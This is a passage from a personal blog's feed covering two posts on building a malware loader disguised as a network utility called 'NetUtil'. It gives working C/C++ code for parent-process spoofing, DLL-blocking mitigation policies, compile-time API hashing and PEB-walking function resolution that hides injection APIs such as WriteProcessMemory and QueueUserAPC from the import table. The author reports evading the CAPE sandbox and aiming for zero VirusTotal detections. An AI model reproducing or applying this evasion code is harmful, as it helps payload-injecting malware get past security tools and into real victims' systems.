</span></span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">pUpdateProcThreadAttribute</span>(Si.lpAttributeList, <span style="color:#ae81ff">0</span>, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, <span style="color:#f92672">&amp;</span>hParentProcess, <span style="color:#66d9ef">sizeof</span>(HANDLE), NULL, NULL)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;UpdateProcThreadAttribute failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE; <span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// Enable blocking of non-Microsoft signed DLLs
</span></span></span><span style="display:flex;"><span>	DWORD64 dwPolicy <span style="color:#f92672">=</span> PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">pUpdateProcThreadAttribute</span>(Si.lpAttributeList, <span style="color:#ae81ff">0</span>, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, <span style="color:#f92672">&amp;</span>dwPolicy, <span style="color:#66d9ef">sizeof</span>(DWORD64), NULL, NULL)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;UpdateProcThreadAttribute failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE; <span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	Si.StartupInfo.cb <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(STARTUPINFOEXW);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">pCreateProcessW</span>(NULL, lpszTargetProcessPath, NULL, NULL, FALSE, DEBUG_PROCESS <span style="color:#f92672">|</span> EXTENDED_STARTUPINFO_PRESENT, NULL, SysDir, <span style="color:#f92672">&amp;</span>Si, <span style="color:#f92672">&amp;</span>Pi)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;CreateProcessW failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE; <span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// CODE MENTIONED BEFORE ...
</span></span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The following screenshot shows the mitigation policy enabled for the child process.</p>
<p><img src="./netutil6-dll-mitigation-policy.png" alt="netutil6-dll-mitigation-policy"></p>
<h2 id="final-showdown">Final Showdown</h2>
<p>Unlike the previous iterations, this mitigation allowed me to bypass the function traces for process-creation altogether.</p>
<p><img src="./netutil6-createprocessinternalw-detection.png" alt="netutil6-createprocessinternalw-detection"></p>
<p><img src="./netutil6-no-createprocessinternalw.png" alt="netutil6-no-createprocessinternalw"></p>
<p>CAPE did trace the calls to <code>UpdateProcThreadAttribute</code> to update child process and the <code>NtOpenProcess</code> call for resuming process, after the blob was fetched from internet.</p>
<p><img src="./netutil6-final-function-trace.png" alt="netutil6-final-function-trace"></p>
<p>It was not a significant issue, as there were no detections of APC Injection or PPID Spoofing.</p>
<p><img src="./netutil6-no-ppid-no-apc-injection.png" alt="netutil6-no-ppid-no-apc-injection"></p>
<p>When I ran it through VirusTotal, the detections sprang back to 2 from 0.</p>
<p><img src="./netutil6-virustotal.png" alt="netutil6-virustotal.png"></p>
<p>Thus in quest to evade runtime analysis, I took hit on static scans which solidifies the claim that modern evasion is just a tradeoff between different indicators.</p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>Stripping the Binary Clean: Hiding the malware indicators</title>
      <link>https://ashtrace.github.io/posts/stripping_iocs/</link>
      <pubDate>Thu, 30 Apr 2026 21:44:31 -0400</pubDate>
      
      <guid>https://ashtrace.github.io/posts/stripping_iocs/</guid>
      <description><![CDATA[<p>In my last attempt to build a loader while I did land to no detections over free-tier elastic defend EDR capabilities there were a <em>lot</em> of nuances. The &lsquo;release&rsquo; build was detected and literally had the PDB path with the word <code>loader</code> embedded into the binary. Professional hacker momemnts. The following is my attempt of stripping the binary clean of the possible indicators of malicious behaviour with aim to achieve 0 detections on VirusTotal, leveraging IAT hiding through compile-time API hashing and creating a legitimate utility identity through versioning and manifest with some further cleansing of the project you&rsquo;ll encounter as you read.</p>
<h2 id="what-indicators">What Indicators?</h2>
<p>The VirusTotal scan for the last build of the loader demonstrated that disassembling/decompilation capabilities through <code>code insights</code> provided following insights into the binary:</p>
<p><img src="./NetUtil4-virustotal.png" alt="NetUtil4-virustotal"></p>
<p>As I was sticking to the pseudo-identity of network utility tool called <code>NetUtil</code> thus my first targets where WinAPIs being used for remote mapping injection and APC injection. The WinInet functions, being used to fetch the payload, were not an immediate issue for me.</p>
<h2 id="api-hashing-for-iat-hiding">API Hashing for IAT Hiding</h2>
<p>The well-known-personalities-in-the-malware-world functions of <code>CreateProcess</code>, <code>WriteProcessMemory</code>, <code>CreateFileMapping</code>, <code>MapViewOfFile</code>, <code>MapViewOfFile2</code>, <code>QueuerUserAPC</code>, <code>DebugActiveProcessStop</code> where present in the import address table of the binary which would&rsquo;ve provided easy indicators to any scanner.</p>
<p>To resolve these functions through DLL module walking at runtime; levaraging a unique hash value for each of the functions mentioned was my goto approach to hide them from IAT.</p>
<h3 id="hash-functions">Hash Functions</h3>
<p>I wanted a compile-time hashing capability that would help me to deduce a random seed value for every build that is compiled thus eliminating the constant hashes across builds (another possible indicator in the longer run).</p>
<p>The <code>constexpr</code> expressions in C++ do allow the flexibility of compile-time evaluation of statements but came at the cost of adding C++ to until-now a C project.</p>
<p>Furthermore, the <code>constexpr</code> expressions require no involvement of functions that are to be resolved from a shared module. The entire expression should exist entirely and depend on functions in the existing code-base. This somewhat limited the available hash function options to me.</p>
<p>I browsed through the <a href="https://github.com/vxunderground/vx-api">VX-API</a> repository and landed on <code>HashStringFowlerNollVoVariant1a</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>ULONG <span style="color:#a6e22e">HashStringFowlerNollVoVariant1aA</span>(_In_ LPCSTR String)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	ULONG Hash <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x811c9dc5</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">while</span> (<span style="color:#f92672">*</span>String)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		Hash <span style="color:#f92672">^=</span> (UCHAR)<span style="color:#f92672">*</span>String<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>		Hash <span style="color:#f92672">*=</span> <span style="color:#ae81ff">0x01000193</span>;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> Hash;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>I added a little modification to make the function case-insensitive as there might be some difference between how I write the module name compared to the module name populated by the loader at runtime.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>constexpr ULONG <span style="color:#a6e22e">HashStringFowlerNollVoVariant1aA</span>(IN LPCSTR String)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	ULONG Hash <span style="color:#f92672">=</span> g_InitHash;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">while</span> (<span style="color:#f92672">*</span>String)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		UCHAR c <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>String<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (c <span style="color:#f92672">&gt;=</span> <span style="color:#e6db74">&#39;A&#39;</span> <span style="color:#f92672">&amp;&amp;</span> c <span style="color:#f92672">&lt;=</span> <span style="color:#e6db74">&#39;Z&#39;</span>)
</span></span><span style="display:flex;"><span>			Hash <span style="color:#f92672">^=</span> c <span style="color:#f92672">+</span> <span style="color:#ae81ff">0x20</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>			Hash <span style="color:#f92672">^=</span> c;
</span></span><span style="display:flex;"><span>		Hash <span style="color:#f92672">*=</span> <span style="color:#ae81ff">0x01000193</span>;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> Hash;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Notice the <code>constexpr</code> prefix for compile time evaluation. The wide-character version <code>HashStringFowlerNollVoVariant1aW</code> worked similarly. Both the implementations start with an initial hash <code>g_InitHash</code> value. This is a global variable containing the random-seed I described the need for. It is derived from the time of compilation as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>constexpr ULONG <span style="color:#a6e22e">RandomCompileTimeSeed</span>(<span style="color:#66d9ef">void</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		(__TIME__[<span style="color:#ae81ff">7</span>] <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;0&#39;</span>) <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>		(__TIME__[<span style="color:#ae81ff">6</span>] <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;0&#39;</span>) <span style="color:#f92672">*</span> <span style="color:#ae81ff">10</span> <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>		(__TIME__[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;0&#39;</span>) <span style="color:#f92672">*</span> <span style="color:#ae81ff">60</span> <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>		(__TIME__[<span style="color:#ae81ff">3</span>] <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;0&#39;</span>) <span style="color:#f92672">*</span> <span style="color:#ae81ff">600</span> <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>		(__TIME__[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;0&#39;</span>) <span style="color:#f92672">*</span> <span style="color:#ae81ff">3600</span> <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>		(__TIME__[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;0&#39;</span>) <span style="color:#f92672">*</span> <span style="color:#ae81ff">36000</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>constexpr ULONG g_InitHash <span style="color:#f92672">=</span> <span style="color:#a6e22e">RandomCompileTimeSeed</span>();
</span></span></code></pre></div><p>Now that I look at it, I should&rsquo;ve added date of compilation too, well there&rsquo;s always next time.</p>
<p>I also defined some helper macros to leverage these hash functions both at the compile-time and during execution at runtime.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// Compile-time macros to define the hash values for WinAPI functions
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// It defines variables at compile time with the format:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">//			constexpr auto WinApiFuncName_FnvvA/W = HashValue
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define CTIME_HFOWLERA(API) constexpr auto API##_FnvvA = HashStringFowlerNollVoVariant1aA((LPCSTR) #API);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define CTIME_HFOWLERW(API) constexpr auto API##_FnvvW = HashStringFowlerNollVoVariant1aW((LPCWSTR) L#API);
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Runtime macros to call respective hash function during WinAPI resolution
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define	RTIME_HFOWLERA(API) HashStringFowlerNollVoVariant1aA((LPCSTR)API)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define RTIME_HFOWLERW(API) HashStringFowlerNollVoVariant1aW((LPCWSTR)API)
</span></span></span></code></pre></div><p>The <code>CTIME_HFOWLERA</code> macros create variables at compile time with <code>_FnnvA</code> suffix or <code>_FnvvW</code> suffix onto the function name for which the hash function was called.</p>
<h3 id="the-runtime-resolution-logic">The runtime-resolution logic</h3>
<p>A basic approach to retrieve function address is to define the function signature as a type and populate a pointer to that type using <code>GetModuleHandle</code> and <code>GetProcAddress</code> calls.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>HANDLE      moduleHandle    <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetModuleHandle</span>(<span style="color:#e6db74">&#34;moduleName&#34;</span>);
</span></span><span style="display:flex;"><span>funcType    funcPtr         <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetProcAddress</span>(moduleHandle, <span style="color:#e6db74">&#34;functionName&#34;</span>);
</span></span></code></pre></div><p>Thus, I needed custom implmentations that would work as follows</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>HANDLE      moduleHandle    <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetModuleHandleCustom</span>(moduleNameHash);
</span></span><span style="display:flex;"><span>functype    funcPtr         <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetProcAddressCustom</span>(moduleHandle, functionNameHash);
</span></span></code></pre></div><h4 id="getmodulehandlecustom">GetModuleHandleCustom</h4>
<p>I defined a structure to store an internal representation of module.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// My representation of a Module; helps to cache some attributes
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	HMODULE	ModuleHandle;			<span style="color:#75715e">// DllBase
</span></span></span><span style="display:flex;"><span>	ULONG	ModuleHash;				<span style="color:#75715e">// FowlerNollVoVariant1a hash of module name
</span></span></span><span style="display:flex;"><span>	DWORD	NumberOfFunctions;		<span style="color:#75715e">// Count of the functions in the module
</span></span></span><span style="display:flex;"><span>	PDWORD	FunctionNameArray;		<span style="color:#75715e">// Array of function names
</span></span></span><span style="display:flex;"><span>	PDWORD	FunctionAddressArray;	<span style="color:#75715e">// Array of function addresses
</span></span></span><span style="display:flex;"><span>	PWORD	FunctionOrdinalArray;	<span style="color:#75715e">// Array of function indexes
</span></span></span><span style="display:flex;"><span>} WINAPI_MODULE, <span style="color:#f92672">*</span> PWINAPI_MODULE;
</span></span></code></pre></div><p>The caller function populates a structure of <code>WINAPI_MODULE</code> with module name&rsquo;s hash in <code>ModuleHash</code> for each module to be resolved. Next, pointer to this structure is passed onto the following <code>GetModuleHandleCustom</code> function which:</p>
<ul>
<li>fetches the process environment block for the currently running process</li>
<li>parses the <code>PEB_LDR_DATA</code> for modules loaded into the process.</li>
<li>compares each module&rsquo;s base name&rsquo;s hash to the provided hash.</li>
<li>if the check succeeds, populates the <code>ModuleHandle</code> with the base address of the module.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">GetModuleHandleCustom</span>(
</span></span><span style="display:flex;"><span>	IN	PWINAPI_MODULE	pWinApiMod
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pWinApiMod <span style="color:#f92672">||</span> pWinApiMod<span style="color:#f92672">-&gt;</span>ModuleHash <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ifdef _WIN64
</span></span></span><span style="display:flex;"><span>	PPEB	pPeb <span style="color:#f92672">=</span> (PPEB)(<span style="color:#a6e22e">__readgsqword</span>(<span style="color:#ae81ff">0x60</span>));
</span></span><span style="display:flex;"><span><span style="color:#75715e">#elif _WIN32
</span></span></span><span style="display:flex;"><span>	PPEB	pPeb <span style="color:#f92672">=</span> (PPEB)(<span style="color:#a6e22e">__readfsdword</span>(<span style="color:#ae81ff">0x30</span>));
</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif </span><span style="color:#75715e">// _WIN64
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	PPEB_LDR_DATA	pLdr		<span style="color:#f92672">=</span> (PPEB_LDR_DATA)(pPeb<span style="color:#f92672">-&gt;</span>Ldr);
</span></span><span style="display:flex;"><span>	PLIST_ENTRY		pDteHead	<span style="color:#f92672">=</span> <span style="color:#f92672">&amp;</span>(pLdr<span style="color:#f92672">-&gt;</span>InMemoryOrderModuleList);
</span></span><span style="display:flex;"><span>	PLIST_ENTRY		pDteCurrent <span style="color:#f92672">=</span> pDteHead<span style="color:#f92672">-&gt;</span>Flink;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">do</span> {
</span></span><span style="display:flex;"><span>		PLDR_DATA_TABLE_ENTRY	pDte <span style="color:#f92672">=</span> (PLDR_DATA_TABLE_ENTRY)((PBYTE)pDteCurrent<span style="color:#f92672">-</span> <span style="color:#a6e22e">offsetof</span>(LDR_DATA_TABLE_ENTRY, InMemoryOrderModuleList));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (pDte<span style="color:#f92672">-&gt;</span>BaseDllName.Length <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">RTIME_HFOWLERW</span>(pDte<span style="color:#f92672">-&gt;</span>BaseDllName.Buffer) <span style="color:#f92672">==</span> pWinApiMod<span style="color:#f92672">-&gt;</span>ModuleHash) {
</span></span><span style="display:flex;"><span>				pWinApiMod<span style="color:#f92672">-&gt;</span>ModuleHandle <span style="color:#f92672">=</span> (HMODULE)pDte<span style="color:#f92672">-&gt;</span>DllBase;
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		pDteCurrent <span style="color:#f92672">=</span> pDteCurrent<span style="color:#f92672">-&gt;</span>Flink;
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">while</span> (pDteCurrent <span style="color:#f92672">!=</span> pDteHead);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="getprocaddresscustom">GetProcAddressCustom</h4>
<p>The <code>GetProcAddressCustom</code> implementation expects pointer to structure populated by <code>GetModuleHandleCustom</code> and hash of the function name. Next, it:</p>
<ul>
<li>checks if the module was already parsed and required arrays have been resolved.</li>
<li>if not, (in case of first call for a module), it parses the DLL PE image and sets the <code>NumberOfFunctions</code>, <code>FunctionNameArray</code>, <code>FunctionAddressArray</code>, <code>FunctionOrdinalArray</code> values that are to be used directy in subsequent calls.</li>
<li>it iterates over each function name and compares their hash to the provided hash value.</li>
<li>if the check succeeds, it fetches and returns the address for the target function within the module.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>FARPROC <span style="color:#a6e22e">GetProcAddressCustom</span>(
</span></span><span style="display:flex;"><span>	IN OUT	PWINAPI_MODULE	pWinApiMod,
</span></span><span style="display:flex;"><span>	IN		ULONG			uApiHash
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	PBYTE	pBase <span style="color:#f92672">=</span> (PBYTE)(pWinApiMod<span style="color:#f92672">-&gt;</span>ModuleHandle);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (pWinApiMod<span style="color:#f92672">-&gt;</span>NumberOfFunctions <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>		PIMAGE_DOS_HEADER	pImgDosHdr <span style="color:#f92672">=</span> (PIMAGE_DOS_HEADER)pBase;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (pImgDosHdr<span style="color:#f92672">-&gt;</span>e_magic <span style="color:#f92672">!=</span> IMAGE_DOS_SIGNATURE)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		PIMAGE_NT_HEADERS	pImgNtHdrs <span style="color:#f92672">=</span> (PIMAGE_NT_HEADERS)(pBase <span style="color:#f92672">+</span> pImgDosHdr<span style="color:#f92672">-&gt;</span>e_lfanew);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (pImgNtHdrs<span style="color:#f92672">-&gt;</span>Signature <span style="color:#f92672">!=</span> IMAGE_NT_SIGNATURE)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		IMAGE_OPTIONAL_HEADER	ImgOptHdr <span style="color:#f92672">=</span> pImgNtHdrs<span style="color:#f92672">-&gt;</span>OptionalHeader;
</span></span><span style="display:flex;"><span>		PIMAGE_EXPORT_DIRECTORY	pImgExpDir <span style="color:#f92672">=</span> (PIMAGE_EXPORT_DIRECTORY)(pBase <span style="color:#f92672">+</span> ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		pWinApiMod<span style="color:#f92672">-&gt;</span>NumberOfFunctions	 <span style="color:#f92672">=</span> pImgExpDir<span style="color:#f92672">-&gt;</span>NumberOfFunctions;
</span></span><span style="display:flex;"><span>		pWinApiMod<span style="color:#f92672">-&gt;</span>FunctionNameArray	 <span style="color:#f92672">=</span> (PDWORD)(pBase <span style="color:#f92672">+</span> pImgExpDir<span style="color:#f92672">-&gt;</span>AddressOfNames);
</span></span><span style="display:flex;"><span>		pWinApiMod<span style="color:#f92672">-&gt;</span>FunctionAddressArray <span style="color:#f92672">=</span> (PDWORD)(pBase <span style="color:#f92672">+</span> pImgExpDir<span style="color:#f92672">-&gt;</span>AddressOfFunctions);
</span></span><span style="display:flex;"><span>		pWinApiMod<span style="color:#f92672">-&gt;</span>FunctionOrdinalArray <span style="color:#f92672">=</span> (PWORD )(pBase <span style="color:#f92672">+</span> pImgExpDir<span style="color:#f92672">-&gt;</span>AddressOfNameOrdinals);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> (DWORD i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> pWinApiMod<span style="color:#f92672">-&gt;</span>NumberOfFunctions; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>		CHAR<span style="color:#f92672">*</span> pFunctionName <span style="color:#f92672">=</span> (CHAR<span style="color:#f92672">*</span>)(pBase <span style="color:#f92672">+</span> pWinApiMod<span style="color:#f92672">-&gt;</span>FunctionNameArray[i]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">RTIME_HFOWLERA</span>(pFunctionName) <span style="color:#f92672">==</span> uApiHash) {
</span></span><span style="display:flex;"><span>			PVOID pFunctionAddr <span style="color:#f92672">=</span> (PVOID)(pBase <span style="color:#f92672">+</span> pWinApiMod<span style="color:#f92672">-&gt;</span>FunctionAddressArray[pWinApiMod<span style="color:#f92672">-&gt;</span>FunctionOrdinalArray[i]]);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> (FARPROC)pFunctionAddr;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="sticking-the-pieces-together">Sticking the pieces together</h4>
<p>The program uses <code>CTIME_HFOWLERW</code> macros to define WinAPI function hashes at compile time. I also calculated hashes for the module names, to remove hardcoded strings with module names and leverage custom implementation of <code>GetModuleHandle</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// define hashes for the WinAPI functions at compile-time
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">CTIME_HFOWLERW</span>(CreateProcessW);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">CTIME_HFOWLERW</span>(WriteProcessMemory);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">CTIME_HFOWLERW</span>(CreateFileMappingW);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">CTIME_HFOWLERW</span>(MapViewOfFile);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">CTIME_HFOWLERW</span>(MapViewOfFileNuma2);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">CTIME_HFOWLERW</span>(QueueUserAPC);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">CTIME_HFOWLERW</span>(DebugActiveProcessStop);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// define hash for kernel32.dll and kernelbase.dll at compile-time
</span></span></span><span style="display:flex;"><span>constexpr ULONG KERNEL32_DLL_FnvvW		<span style="color:#f92672">=</span> <span style="color:#a6e22e">HashStringFowlerNollVoVariant1aW</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;KERNEL32.DLL&#34;</span>);
</span></span><span style="display:flex;"><span>constexpr ULONG	KERNELBASE_DLL_FnnvW	<span style="color:#f92672">=</span> <span style="color:#a6e22e">HashStringFowlerNollVoVariant1aW</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;KERNELBASE.DLL&#34;</span>);
</span></span></code></pre></div><p>Next, I created a structure - <code>H_API</code>, to hold the <em>pointers-of-interest</em> i.e. function pointers to each function that would be resolved through their hash.</p>
<p>And it was at this moment I realised that <code>MapViewOfFile2</code> is a wrapper over <code>MapViewOfFileNuma2</code>. NUMA or <strong>Non-Uniform Memory Access</strong> is a fancy term to explain that in multi-processor system accessing local memory memory of a CPU is faster than accessing memory of another CPU - thus the non-uniformity. Numa node specifies the memory where the mapped section would reside. For our intent and purposes we&rsquo;d hardcode it to <code>NUMA_NO_PREFERRED_NODE</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// My representation of collection of all hashed functions
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	fnCreateProcessW			pCreateProcessW;			<span style="color:#75715e">// from kernel32.dll
</span></span></span><span style="display:flex;"><span>	fnWriteProcessMemory		pWriteProcessMemory;		<span style="color:#75715e">// from kernel32.dll
